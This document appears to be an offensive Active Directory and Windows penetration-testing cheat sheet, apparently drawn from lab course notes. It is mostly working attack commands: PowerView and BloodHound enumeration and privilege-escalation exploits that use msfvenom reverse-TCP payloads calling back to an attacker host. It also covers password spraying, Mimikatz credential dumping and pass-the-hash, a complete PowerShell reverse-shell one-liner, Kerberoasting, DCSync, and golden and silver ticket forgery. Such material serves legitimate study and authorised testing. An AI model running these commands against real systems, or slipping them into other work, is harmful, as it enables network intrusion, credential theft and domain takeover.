AD-Module
Import-Module .\Microsoft.ActiveDirectory.Management.dll
PowerShell LocalAccounts Module
Get-Command -Module Microsoft.PowerShell.LocalAccounts
The list below briefly describes what each of these cmdlets is used for:
Add-LocalGroupMember # Add a user to the local group
Disable-LocalUser # Disable a local user account
Enable-LocalUser # Enable a local user account
Get-LocalGroup # View local group preferences
Get-LocalGroupMember # View the list of all local group members
Get-LocalUser # View local user account preferences
New-LocalGroup # Create a new local group
New-LocalUser # Create a new local user account
Remove-LocalGroup # Remove a local group
Remove-LocalGroupMember # Remove a member from a local group
Remove-LocalUser # Remove local user account
Rename-LocalGroup # Rename a local group
Rename-LocalUser # Rename a local user account
Set-LocalGroup # Change the settings of a local group
Set-LocalUser # Change the account settings of a local user
Example:
Add-LocalGroupMember -Group "Administrators" -Member "Username"
PowerView
# Load PowerView on Disk
./PowerView.ps1
# Import PowerView
. .\PowerView.ps1 # dot sourcing
IPMO .\PowerView.ps1 # short cut for Import-Module
Import-Module .\PowerView.ps1 # Import-Module
# Load PowerView
Import-Module PowerView
# Load PowerView with Cobalt Strike
powershell-import /home/user/directory/of/PowerView.ps1
# Check if PowerView has been loaded Successfully
Get-InstalledModule
General PowerView Functions
Export-PowerViewCSV # thread-safe CSV append
Set-MacAttribute # Sets MAC attributes for a file based on another file or input (from Powersploit)
Copy-ClonedFile # copies a local file to a remote location, matching MAC properties
Get-IPAddress # resolves a hostname to an IP
Test-Server # tests connectivity to a specified server
Convert-NameToSid # converts a given user/group name to a security identifier (SID)
Convert-SidToName # converts a security identifier (SID) to a group/user name
Convert-NT4toCanonical # converts a user/group NT4 name (i.e. dev/john) to canonical format
Get-Proxy # enumerates local proxy settings
Get-PathAcl # get the ACLs for a local/remote file path with optional group recursion
Get-UserProperty # returns all properties specified for users, or a set of user:prop names
Get-ComputerProperty # returns all properties specified for computers, or a set of computer:prop names
Find-InterestingFile # search a local or remote path for files with specific terms in the name
Invoke-CheckLocalAdminAccess # check if the current user context has local administrator access to a specified host
Get-DomainSearcher # builds a proper ADSI searcher object for a given domain
Get-ObjectAcl # returns the ACLs associated with a specific active directory object
Add-ObjectAcl # adds an ACL to a specified active directory object
Get-LastLoggedOn # return the last logged on user for a target host
Get-CachedRDPConnection # queries all saved RDP connection entries on a target host
Invoke-ACLScanner # enumerate -1000+ modifable ACLs on a specified domain
Get-GUIDMap # returns a hash table of current GUIDs -> display names
Get-DomainSID # return the SID for the specified domain
Invoke-ThreadedFunction # helper that wraps threaded invocation for other functions
Net Functions
Get-NetDomain # gets the name of the current user's domain
Get-NetForest # gets the forest associated with the current user's domain
Get-NetForestDomain # gets all domains for the current forest
Get-NetDomainController # gets the domain controllers for the current computer's domain
Get-NetUser # returns all user objects, or the user specified (wildcard specifiable)
Add-NetUser # adds a local or domain user
Get-NetComputer # gets a list of all current servers in the domain
Get-NetPrinter # gets an array of all current computers objects in a domain
Get-NetOU # gets data for domain organization units
Get-NetSite # gets current sites in a domain
Get-NetSubnet # gets registered subnets for a domain
Get-NetGroup # gets a list of all current groups in a domain
Get-NetGroupMember # gets a list of all current users in a specified domain group
Get-NetLocalGroup # gets the members of a localgroup on a remote host or hosts
Add-NetGroupUser # adds a local or domain user to a local or domain group
Get-NetFileServer # get a list of file servers used by current domain users
Get-DFSshare # gets a list of all distribute file system shares on a domain
Get-NetShare # gets share information for a specified server
Get-NetLoggedon # gets users actively logged onto a specified server
Get-NetSession # gets active sessions on a specified server
Get-NetRDPSession # gets active RDP sessions for a specified server (like qwinsta)
Get-NetProcess # gets the remote processes and owners on a remote server
Get-UserEvent # returns logon or TGT events from the event log for a specified host
Get-ADObject # takes a domain SID and returns the user, group, or computer object associated with it
Set-ADObject # takes a SID, name, or SamAccountName to query for a specified domain object, and then sets a pecified 'PropertyName' to a specified 'PropertyValue'
GPO functions
Get-GptTmpl # parses a GptTmpl.inf to a custom object
Get-NetGPO # gets all current GPOs for a given domain
Get-NetGPOGroup # gets all GPOs in a domain that set "Restricted Groups" on on target machines
Find-GPOLocation # takes a user/group and makes machines they have effectiverights over through GPO enumeration and correlation
Find-GPOComputerAdmin # takes a computer and determines who has admin rights over itthrough GPO enumeration
Get-DomainPolicy # returns the default domain or DC policy
User-Hunting Functions
Invoke-UserHunter # finds machines on the local domain where specified users are logged into, and can optionally check if the current user has local admin access to found machines
Invoke-StealthUserHunter # finds all file servers utilizes in user HomeDirectories, and checks the sessions one each file server, hunting for particular users
Invoke-ProcessHunter # hunts for processes with a specific name or owned by a specific user on domain machines
Invoke-UserEventHunter # hunts for user logon events in domain controller event logs
Domain Trust Functions
Get-NetDomainTrust # gets all trusts for the current user's domain
Get-NetForestTrust # gets all trusts for the forest associated with the current user's domain
Find-ForeignUser # enumerates users who are in groups outside of their principal domain
Find-ForeignGroup # enumerates all the members of a domain's groups and finds users that are outside of the queried domain
Invoke-MapDomainTrust # try to build a relational mapping of all domain trusts
Meta Functions
Invoke-ShareFinder # finds (non-standard) shares on hosts in the local domain
Invoke-FileFinder # finds potentially sensitive files on hosts in the local domain
Find-LocalAdminAccess # finds machines on the domain that the current user has local admin access to
Find-ManagedSecurityGroups # searches for active directory security groups which are managed and identify users who have write access to
# those groups (i.e. the ability to add or remove members)
Find-UserField # searches a user field for a particular term
Find-ComputerField # searches a computer field for a particular term
Get-ExploitableSystem # finds systems likely vulnerable to common exploits
Invoke-EnumerateLocalAdmin # enumerates members of the local Administrators groups across all machines in the domain
Domain Enumeration
Domain
# Get current domain
Get-NetDomain (PowerView)
Get-ADDomain (ActiveDirectory Module)
# Get Object of another domain
Get-NetDomain -Domain domain.local
Get-ADDomain -Identity domain.local
# Get domain SID for the current domain
Get-DomainSID
(Get-ADDomain).DomainSID
# Get domain policy for the current domain
Get-DomainPolicy
(Get-DomainPolicy)."system access"
# Get domain policy for another domain
(Get-DomainPolicy -domain domain.local)."system access"
# Get domain controllers for the current domain
Get-NetDomainController
Get-ADDomainController
# Get domain controllers for another domain
Get-NetDomainController -Domain domain.local
Get-ADDomainController -DomainName domain.local -Discover
Net User
# Get a list of users in the current domain
Get-NetUser
Get-NetUser -Username student1
Get-NetUser | select -ExpandProperty samaccountname
Get-ADUser -Filter * -Properties *
Get-ADUser -Identity student1 -Properties *
# Get list of all properties for users in the current domain
Get-UserProperty
Get-UserProperty -Properties pwdlastset
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name
Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
# Search for a particular string in a user's attributes
Find-UserField -SearchField Description -SearchTerm "built"
Get-ADUser -Filter 'Description -like "*built*"' -Properties Description | select name,Description
Net Group
# Get a list of computers in the current domain
Get-NetComputer
Get-NetComputer -OperatingSystem "*Server 2016*"
Get-NetComputer -Ping
Get-NetComputer -FullData
Get-ADComputer -Filter * | select Name Get-ADComputer -Filter 'OperatingSystem -like "*Server 2016*"' -Properties OperatingSystem | select Name,OperatingSystem
Get-ADComputer -Filter * -Properties DNSHostName | %{Test-Connection -Count 1 -ComputerName $_.DNSHostName}
Get-ADComputer -Filter * -Properties *
# Get all the groups in the current domain
Get-NetGroup
Get-NetGroup -Domain <targetdomain>
Get-NetGroup -FullData
Get-ADGroup -Filter * | select Name
Get-ADGroup -Filter * -Properties *
# Get all groups containing the word "admin" in group name
Get-NetGroup *admin*
Get-ADGroup -Filter 'Name -like "*admin*"' | select Name
# Get all the members of the Domain Admins group
Get-NetGroupMember -GroupName "Domain Admins" -Recurse
Get-ADGroupMember -Identity "Domain Admins" -Recursive
Get-NetGroupMember -GroupName "Enterprise Admins" -Domain target.local
# Get the group membership for a user
Get-NetGroup -UserName "john"
Get-ADPrincipalGroupMembership -Identity student1
# List all the local groups on a machine (needs administrator privs on non-dc machines)
Get-NetLocalGroup -ComputerName DC01.enumme.local -ListGroups
# Get members of all the local groups on a machine (needs administrator privs on non-dc machines)
Get-NetLocalGroup -ComputerName DC01.enumme.local -Recurse
Logged Sessions / Users
# Get actively logged users on a computer (needs local admin rights on the target)
Get-NetLoggedon -ComputerName <servername>
# Get locally logged users on a computer (needs remote registry on the target - started by-default on server OS)
Get-LoggedonLocal -ComputerName DC01.enumme.local
# Get the last logged user on a computer (needs administrative rights and remote registry on the target)
Get-LastLoggedOn -ComputerName <servername>
# Find shares on hosts in current domain
Invoke-ShareFinder -Verbose
Invoke-ShareFinder -ExcludeStandard -ExcludePrint -ExcludeIPC -Verbose
# Find sensitive files on computers in the domain
Invoke-FileFinder -Verbose
# Get all fileservers of the domain
Get-NetFileServer
GPO
# Get list of GPO in current domain
Get-NetGPO
Get-NetGPO -ComputerName DC01.enumme.local
Get-GPO -All (GroupPolicy module)
Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html (Provides RSoP)
# Enumerate ACLs for all the GPOs
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
# Enumerate Restricted Groups from GPO
Get-NetGPOGroup -Verbose
# Enumerate GPOs where target user or group have interesting permissions
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ?{$_.IdentityReference -match "target"}
# Membership of the Group "RDPUsers”
Get-NetGroupMember -GroupName RDPUsers
# Get GPO(s) which use Restricted Groups or groups.xml for interesting users
Get-NetGPOGroup
# Get users which are in a local group of a machine using GPO
Find-GPOComputerAdmin -Computername srv.enumme.local
# Get machines where the given user is member of a specific group
Find-GPOLocation -UserName john -Verbose
# GPO applied on the target OU
(Get-NetOU targetmachine -FullData).gplink[LDAP://cn={x-x-x-x-x},cn=policies,cn=system,DC=target,DC=domain,DC=local;0]
Get-NetGPO -ADSpath 'LDAP://cn={x-x-x-x-x},cn=policies,cn=system,DC=target,DC=domain,DC=local'
OU
# Get OUs in a domain
Get-NetOU -FullData
Get-ADOrganizationalUnit -Filter * -Properties *
# Get GPO applied on an OU. Read GPOname from gplink attribute from Get-NetOU
Get-NetGPO -GPOname "{x-x-x-x-x}"
Get-GPO -Guid x-x-x-x-x (GroupPolicy module)
# List all the computers in the target OU
Get-NetOU targetcomputer | %{Get-NetComputer -ADSPath $_}
ACL
# Get the ACLs associated with the specified object
Get-ObjectAcl -SamAccountName john -ResolveGUIDs
Get-ObjectAcl -SamAccountName "users" -ResolveGUIDs -Verbose
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs -Verbose
# Get the ACLs associated with the specified prefix to be used for search
Get-ObjectAcl -ADSprefix 'CN=Administrator,CN=Users' -Verbose
# We can also enumerate ACLs using ActiveDirectory module but without resolving GUIDs
(Get-Acl 'AD:\CN=Administrator,CN=Users,DC=domain,DC=local').Access
# Get the ACLs associated with the specified LDAP path to be used for search
Get-ObjectAcl -ADSpath "LDAP://CN=Domain
Admins,CN=Users,DC=domain,DC=local" -ResolveGUIDs -Verbose
# Search for interesting ACEs
Invoke-ACLScanner -ResolveGUIDs
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match "target"}
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match "targetgroup"}
# Get the ACLs associated with the specified path
Get-PathAcl -Path "\\DC01.domain.local\sysvol"
Domain Trusts
# Get a list of all domain trusts for the current domain
Get-NetDomainTrust
Get-NetForestDomain -Verbose
Get-NetDomainTrust -Domain fr.k71.test.local
Get-ADTrust
Get-ADTrust -Identity fr.k71.test.local
# Get details about the current forest
Get-NetForest
Get-NetForest -Forest domain.local
Get-ADForest
Get-ADForest -Identity domain.local
# Get all domains in the current forest
Get-NetForestDomain
Get-NetForestDomain -Forest domain.local
(Get-ADForest).Domains
# Map all the trusts of the domain.local forest
Get-NetForestDomain -Verbose | Get-NetDomainTrust
# Get all global catalogs for the current forest
Get-NetForestCatalog
Get-NetForestCatalog -Forest domain.local
Get-ADForest | select -ExpandProperty GlobalCatalogs
# Map trusts of a forest
Get-NetForestTrust
Get-NetForestTrust -Forest domain.local
Get-ADTrust -Filter 'msDS-TrustForestTrustInfo -ne "$null"'
# List external trusts
Get-NetForestDomain -Verbose | Get-NetDomainTrust | ?{$_.TrustType -eq 'External'}
Privilege Escalation
Basic Privilege escalation - PowerUp.ps1
1. Service Enumeration
Get-ServiceUnquoted # returns services with unquoted paths that also have a space in the name
Get-ModifiableServiceFile # returns services where the current user can write to the service binary path or its config
Get-ModifiableService # returns services the current user can modify
Get-ServiceDetail # returns detailed information about a specified service
2. Service Abuse
Invoke-ServiceAbuse # modifies a vulnerable service to create a local admin or execute a custom command
Write-ServiceBinary # writes out a patched C # service binary that adds a local admin or executes a custom command
Install-ServiceBinary # replaces a service binary with one that adds a local admin or executes a custom command
Restore-ServiceBinary # restores a replaced service binary with the original executable
3. DLL Hijacking
Find-ProcessDLLHijack # finds potential DLL hijacking opportunities for currently running processes
Find-PathDLLHijack # finds service %PATH% DLL hijacking opportunities
Write-HijackDll # writes out a hijackable DLL
4. Registry Checks
Get-RegistryAlwaysInstallElevated # checks if the AlwaysInstallElevated registry key is set
Get-RegistryAutoLogon # checks for Autologon credentials in the registry
Get-ModifiableRegistryAutoRun # checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns
5. Miscellaneous Checks
Get-ModifiableScheduledTaskFile # find schtasks with modifiable target files
Get-UnattendedInstallFile # finds remaining unattended installation files
Get-Webconfig # checks for any encrypted web.config strings
Get-ApplicationHost # checks for encrypted application pool and virtual directory passwords
Get-SiteListPassword # retrieves the plaintext passwords for any found McAfee`'s SiteList.xml files
Get-CachedGPPPassword # checks for passwords in cached Group Policy Preferences files
6. Other Helpers/Meta-Functions
Get-ModifiablePath # tokenizes an input string and returns the files in it the current user can modify
Get-CurrentUserTokenGroupSid # returns all SIDs that the current user is a part of, whether they are disabled or not
Add-ServiceDacl # adds a Dacl field to a service object returned by Get-Service
Set-ServiceBinPath # sets the binary path for a service to a specified value through Win32 API methods
Test-ServiceDaclPermission # tests one or more passed services or service names against a given permission set
Write-UserAddMSI # write out a MSI installer that prompts for a user to be added
7. Check ALL
Invoke-AllChecks # runs all current escalation checks and returns a report
AlwaysInstallElevated
DETECTION:
## On Windows Machine
1. Open command prompt and type: reg query HKLM\Software\Policies\Microsoft\Windows\Installer
2. From the output, notice that “AlwaysInstallElevated” value is 1
1. In command prompt type: reg query HKCU\Software\Policies\Microsoft\Windows\Installer
2. From the output, notice that “AlwaysInstallElevated” value is 1
EXPLOITATION:
## With Meta-Sploit in Kali
1. Open command prompt and type: msfconsole
2. In Metasploit (msf > prompt) type: use multi/handler
3. In Metasploit (msf > prompt) type: set payload windows/meterpreter/reverse_tcp
4. In Metasploit (msf > prompt) type: set lhost [Kali VM IP Address]
5. In Metasploit (msf > prompt) type: run
6. Open an additional command prompt and type: msfvenom -p windows/meterpreter/reverse_tcp lhost=[Kali VM IP Address] -f msi -o setup.msi
7. Copy the generated file, setup.msi, to the Windows Machine.
## Back on the Windows Machine
1. Place ‘setup.msi’ in ‘C:\Temp’.
2. Open command prompt and type: msiexec /quiet /qn /i C:\Temp\setup.msi
3. It is possible to confirm that the user was added to the local administrators group by
typing the following in the command prompt: net localgroup administrators
Registry
DETECTION:
# Windows Machine
1. Open powershell prompt and type: Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
2. Notice that the output suggests that user belong to “NT AUTHORITY\INTERACTIVE” has “FullContol” permission over the registry key.
EXPLOITATION:
# Windows Machine
1. Copy ‘C:\Users\User\Desktop\Tools\Source\windows_service.c’ to the Kali VM.
# Kali Machine
1. Open windows_service.c in a text editor and replace the command used by the system() function to: cmd.exe /k net localgroup administrators user /add
2. Exit the text editor and compile the file by typing the following in the command prompt: x86_64-w64-mingw32-gcc windows_service.c -o x.exe (NOTE: if this is not installed, use 'sudo apt install gcc-mingw-w64')
3. Copy the generated file x.exe, to the Windows VM.
# Windows Machine
1. Place x.exe in ‘C:\Temp’.
2. Open command prompt at type: reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\x.exe /f
3. In the command prompt type: sc start regsvc
4. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators
Exec Path
DETECTION:
# Windows Machine
1. Open command prompt and type: C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wvu "C:\Program Files\File Permissions Service"
2. Notice that the “Everyone” user group has “FILE_ALL_ACCESS” permission on the filepermservice.exe file.
EXPLOITATION:
# Windows Machine
1. Open command prompt and type: copy /y c:\Temp\x.exe "c:\Program Files\File Permissions Service\filepermservice.exe"
2. In command prompt type: sc start filepermsvc
3. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators
Startup Applications
DETECTION:
# Windows Machine
1. Open command prompt and type: icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
2. From the output notice that the “BUILTIN\Users” group has full access ‘(F)’ to the directory.
EXPLOITATION:
# Kali Machine
1. Open command prompt and type: msfconsole
2. In Metasploit (msf > prompt) type: use multi/handler
3. In Metasploit (msf > prompt) type: set payload windows/meterpreter/reverse_tcp
4. In Metasploit (msf > prompt) type: set lhost [Kali VM IP Address]
5. In Metasploit (msf > prompt) type: run
6. Open another command prompt and type: msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Kali VM IP Address] -f exe -o x.exe
7. Copy the generated file, x.exe, to the Windows VM. Windows VM
8. Place x.exe in “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”.
9. Logoff.
10. Login with the administrator account credentials. Kali VM
11. Wait for a session to be created, it may take a few seconds.
12. In Meterpreter(meterpreter > prompt) type: getuid
13. From the output, notice the user is “User-PC\Admin”
DLL Hijacking
DETECTION:
# Windows Machine
1. Open the Tools folder that is located on the desktop and then go the Process Monitor folder.
2. In reality, executables would be copied from the victim’s host over to the attacker’s host for analysis during run time. Alternatively, the same software can be installed on the attacker’s host for analysis, in case they can obtain it. To simulate this, right click on Procmon.exe and select ‘Run as administrator’ from the menu.
3. In procmon, select "filter". From the left-most drop down menu, select ‘Process Name’.
4. In the input box on the same line type: dllhijackservice.exe
5. Make sure the line reads “Process Name is dllhijackservice.exe then Include” and click on the ‘Add’ button, then ‘Apply’ and lastly on ‘OK’.
6. Next, select from the left-most drop down menu ‘Result’.
7. In the input box on the same line type: NAME NOT FOUND
8. Make sure the line reads “Result is NAME NOT FOUND then Include” and click on the ‘Add’ button, then ‘Apply’ and lastly on ‘OK’.
9. Open command prompt and type: sc start dllsvc
10. Scroll to the bottom of the window. One of the highlighted results shows that the service tried to execute ‘C:\Temp\hijackme.dll’ yet it could not do that as the file was not found. Note that ‘C:\Temp’ is a writable location.
EXPLOITATION:
# Windows Machine
1. Copy ‘C:\Users\User\Desktop\Tools\Source\windows_dll.c’ to the Kali VM.
# Kali Machine
1. Open windows_dll.c in a text editor and replace the command used by the system() function to: cmd.exe /k net localgroup administrators user /add
2. Exit the text editor and compile the file by typing the following in the command prompt: x86_64-w64-mingw32-gcc windows_dll.c -shared -o hijackme.dll
3. Copy the generated file hijackme.dll, to the Windows VM. Windows VM
4. Place hijackme.dll in ‘C:\Temp’.
5. Open command prompt and type: sc stop dllsvc & sc start dllsvc
6. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators
BinPath
DETECTION:
# Windows Machine
1. Open command prompt and type: C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wuvc daclsvc
2. Notice that the output suggests that the user “User-PC\User” has the “SERVICE_CHANGE_CONFIG” permission.
EXPLOITATION:
# Windows Machine
1. In command prompt type: sc config daclsvc binpath= "net localgroup administrators user /add"
2. In command prompt type: sc start daclsvc
3. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators
Unquoted Service Paths
DETECTION:
# Windows Machine
1. Open command prompt and type: sc qc unquotedsvc
2. Notice that the “BINARY_PATH_NAME” field displays a path that is not confined between quotes.
EXPLOITATION:
# Kali Machine
1. Open command prompt and type: msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f exe-service -o common.exe
2. Copy the generated file, common.exe, to the Windows VM.
# Windows Machine
1. Place common.exe in ‘C:\Program Files\Unquoted Path Service’.
2. Open command prompt and type: sc start unquotedsvc
3. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators
Hot-Potato
EXPLOITATION:
# Windows Machine
1. In command prompt type: powershell.exe -nop -ep bypass
2. In Power Shell prompt type: Import-Module C:\Users\User\Desktop\Tools\Tater\Tater.ps1
3. In Power Shell prompt type: Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add"
4. To confirm that the attack was successful, in Power Shell prompt type: net localgroup administrators
Configuration Files
EXPLOITATION:
# Windows Machine
1. Open command prompt and type: notepad C:\Windows\Panther\Unattend.xml
2. Scroll down to the "Password" property and copy the base64 string that is confined between the "Value" tags underneath it.
# Kali Machine
1. In a terminal, type: echo [copied base64] | base64 -d
2. Notice the cleartext password
Memory
EXPLOITATION:
# Kali Machine
1. Open command prompt and type: msfconsole
2. In Metasploit (msf > prompt) type: use auxiliary/server/capture/http_basic
3. In Metasploit (msf > prompt) type: set uripath x
4. In Metasploit (msf > prompt) type: run
# Windows Machine
1. Open Internet Explorer and browse to: http://[Kali VM IP Address]/x
2. Open command prompt and type: taskmgr
3. In Windows Task Manager, right-click on the “iexplore.exe” in the "Image Name" columnand select “Create Dump File” from the popup menu.
4. Copy the generated file, iexplore.DMP, to the Kali VM.
# Kali Machine
1. Place 'iexplore.DMP' on the desktop.
2. Open command prompt and type: strings /root/Desktop/iexplore.DMP | grep "Authorization: Basic"
3. Select the Copy the Base64 encoded string.
4. In command prompt type: echo -ne [Base64 String] | base64 -d
5. Notice the credentials in the output.
User Hunting
Find-UserField -SearchField Description -SearchTerm "pass"
Find-UserField -SearchField Description -SearchTerm "admin"
Find-UserField -SearchField Description -SearchTerm "manage"
Find-LocalAdminAccess -Verbose
Invoke-UserHunter
Invoke-UserHunter -CheckAccess
Invoke-UserHunter -Stealth
Invoke-UserHunter -GroupName "RDPUsers"
# Monitor/Wait for incoming sessions
Invoke-UserHunter -ComputerName targetserver -Poll 100 -UserName Administrator -Delay 5 -Verbose
Invoke-EnumerateLocalAdmin -Verbose
. .\Find-WMILocalAdminAccess.ps1
. .\Find-PSRemotingLocalAdminAccess.ps1
Find-PSRemotingLocalAdminAccess
## Enter PSSession
# Not Stateful
Enter-PSSession -ComputerName targetcomputer.target.domain.local
# Stateful
$sess = New-Pssession -ComputerName targetcomputer.target.domain.local
Enter-Pssession -session $sess
# CHECK POLICY AND BECAREFUL TO NOT LOCK ACCOUNTS
(Get-DomainPolicy)."system access"
Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
# Use this command to see the last password set of each user in the current domain
Get-UserProperty -Properties pwdlastset
BloodHound
# Start up Neo4j First
sudo neo4j start
# Start Bloodhound Server
Bloodhound
# Bloodhound Ingestors
# .Net from SharpsCollection 4.7_Any
.\SharpHound.exe -c All
Import-Module .\SharpHound.ps1
# Actual session
Invoke-BloodHound -CollectionMethod All -Verbose
# Actual session with more options
Invoke-Bloodhound -Verbose -Domain 'domain.local' -DomainController '172.16.0.1' -CollectionMethod all
# With Credential
Invoke-Bloodhound -Verbose -Domain 'domain.local' -DomainController 'DC01.domain.local' -LDAPUser 'targetuser' -LDAPPass 'targetpass' -CollectionMethod all
# transfert your ZIP
Lateral Movement
# Powershell Remoting
# Execute commands or scriptblocks
Invoke-Command -Scriptblock {Get-Process} -ComputerName (Get-Content <list_of_servers>)
# Execute scripts from files
Invoke-Command -FilePath C:\scripts\Get-PassHashes.ps1 -ComputerName (Get-Content <list_of_servers>)
# Execute locally loaded function on the remote machines
Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-Content <list_of_servers>)
Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-Content <list_of_servers>) -ArgumentList
# A function call within the script is used
Invoke-Command -Filepath C:\path\Get-PassHashes.ps1 -ComputerName (Get-Content <list_of_servers>)
# "Stateful" commands using Invoke-Command
$Sess = New-PSSession -Computername Server1
Invoke-Command -Session $Sess -ScriptBlock {$Proc = Get-Process}
Invoke-Command -Session $Sess -ScriptBlock {$Proc.Name}
# Dump credentials on a local machine
Invoke-Mimikatz -DumpCreds
# Dump credentials on multiple remote machines
Invoke-Mimikatz -DumpCreds -ComputerName @("sys1","sys2")
# Over pass the hash
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:lab.domain.local /ntlm:<ntlmhash> /run:powershell.exe"'
# Invoke Mimikatz to create a token from user
$sess = New-PSSession -ComputerName target.domain.local
Enter-PSSession $sess
# EP BYPASS + AMSI BYPASS
exit
# PUSH LOCAL SCRIPT TO SESSION
Invoke-Command -FilePath .\Invoke-Mimikatz.ps1 -Session $sess
Enter-PSSession $sess
# DUMPING
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
Port Forwarding
# RULE
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8080 connectaddress=10.10.10.10 connectport=8080
# CHECK
netsh interface portproxy show all
# RESET
netsh interface portproxy reset
Kerberos Double Hops
# LOGIN WITH COMPROMISED ACCOUNT
Invoke-Mimikatz -Command '"sekurlsa::pth /user:bob /domain:DOMAIN.LOCAL /ntlm:00000000000000000000000000000000 /run:powershell.exe"'
# PSREMOTE TO SERVER A
$servera = New-PSSession -ComputerName SERVERA.DOMAIN.LOCAL
Enter-PSSession -Session $servera
# PASS CREDENTIAL TO SERVER B
$SecPassword = ConvertTo-SecureString 'password' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\alice', $SecPassword)
$serverb = New-PSSession -ComputerName SERVERB.DOMAIN.LOCAL -Credential $Cred
# LIST TICKET IN SERVER C:
Invoke-Command -ScriptBlock { & '\\10.10.10.10\c$\Users\jack\desktop\Rubeus.exe' klist} -Session $serverb | Select-String -Pattern Username
# DUMP TICKET IN SERVER C:
Invoke-Command -ScriptBlock { & '\\10.10.10.10\c$\Users\jack\desktop\Rubeus.exe' dump /user:targetadmin} -Session $serverb
# INJECT TICKET IN SERVER B:
Invoke-Command -ScriptBlock {& '\\10.10.10.10\c$\Users\jack\desktop\Rubeus.exe' ptt /ticket:B64 } -Session $serverb
# CHECK INJECTION:
Invoke-Command -ScriptBlock { ls \\serverc\c$ } -Session $serverb
# RCE ON SERVER C:
Invoke-Command -ScriptBlock {Invoke-Command -ScriptBlock {hostname} -ComputerName SERVERC.DOMAIN.LOCAL} -Session $serverb
# FINAL REVERSE SHELL IN SERVER A FROM SERVER C
Invoke-Command -ScriptBlock {Invoke-Command -ScriptBlock {$client = New-Object System.Net.Sockets.TCPClient("servera",8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()} -ComputerName SERVERC.DOMAIN.LOCAL} -Session $serverb
Kerberoasting
.\Rubeus.exe kerberoast /stats
.\Rubeus kerberoast /domain:DominionCyber.local /user:jnovoa /nowrap
.\SharpView.exe Get-DomainUser -SPN
# Crack SPN's with Hashcat
hashcat.exe -m 13100 -a 0 hashes wordlist
Unconstrained Delegation
Constrained Delegation
DCSync
# DCSync feature for getting krbtgt hash
# Mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"'
# Mimikatz Dump Account
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername DC01
Golden Tickets
# Golden ticket with Mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:lab.domain.local /sid:S-1-5-x-x-x-x /krbtgt:00000000000000000000000000000000 id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
# Golden Ticket with Rubeus
Rubeus.exe golden /aes256:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /user:nlamb /domain:dev.cyberbotic.io /sid:S-1-5-21-569305411-121244042-2357301523 /nowrap
Golden Ticket Parameters
| Invoke-Mimikatz -Command | Explanation |
|---|---|
| kerberos::golden | Name of the module |
| /User:Administrator | Username of the user you want to impersonate |
| /domain:lab.domain.local | Current Domain FQDN |
| /sid:S-1-5-x-x-x-x | Current Domain SID |
| /krbtgt:00000000000000000000000000000000 | RC4 of the current domain KRBTGT |
| /id:500 /groups:512 | Optional User RID (default 500) and Group default 513 512 520 518 519) |
| /ptt or /ticket | /ptt injects the ticket into the current process, /ticket saves the ticket for to a file for later |
| /startoffset:0 | Optional when the ticket is available (default 0 - right now) in minutes. Use negative for a ticket available from past and a larger number for future |
| /endin:600 | Optional ticket lifetime (default is 10 years) in minutes. The default AD setting is 10 hours = 600 minutes |
| /renewmax:10080 | Optional ticket lifetime with renewal (default is 10 years) in minutes. The default AD setting is 7 days = 100800 |
Silver Tickets
Invoke-Mimikatz -Command '"kerberos::golden /domain:lab.domain.local /sid:S-1-5-x-x-x-x /target:DC01.lab.domain.local /service:CIFS /rc4:00000000000000000000000000000000 /user:Administrator /ptt"'
# Generate Silver ticket with machine account Hash - WMI abuse
Invoke-Mimikatz -Command '"kerberos::golden /domain:target.local /sid:S-1-5-x-x-x-x /target:machine.target.local /service:HOST/rc4:00000000000000000000000000000000 /user:Administrator /ptt"'
